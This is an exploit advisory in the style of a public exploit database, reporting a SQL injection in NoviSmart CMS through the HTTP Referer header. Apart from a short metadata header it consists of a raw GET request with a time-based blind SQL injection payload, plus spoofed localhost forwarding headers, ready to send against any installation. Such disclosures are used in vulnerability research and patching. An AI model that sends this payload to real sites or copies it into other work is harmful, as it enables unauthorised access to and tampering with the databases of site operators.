NoviSmart CMS - SQL injection

# Exploit Title: NoviSmart CMS SQL injection
# Date: 23.7.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: http://www.novismart.com/
# Version: Every version
# CVE : CWE-89

Vulnerable parameter: Referer (HTTP Header field)

[GET Request]

GET / HTTP/1.1
Referer: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
Accept-Language: en
Via: 1.1 wa.www.test.com
Origin: http://www.test.com/
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=24769012200df6ccd9002dbf5b978e9c; language=1
Host: host
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*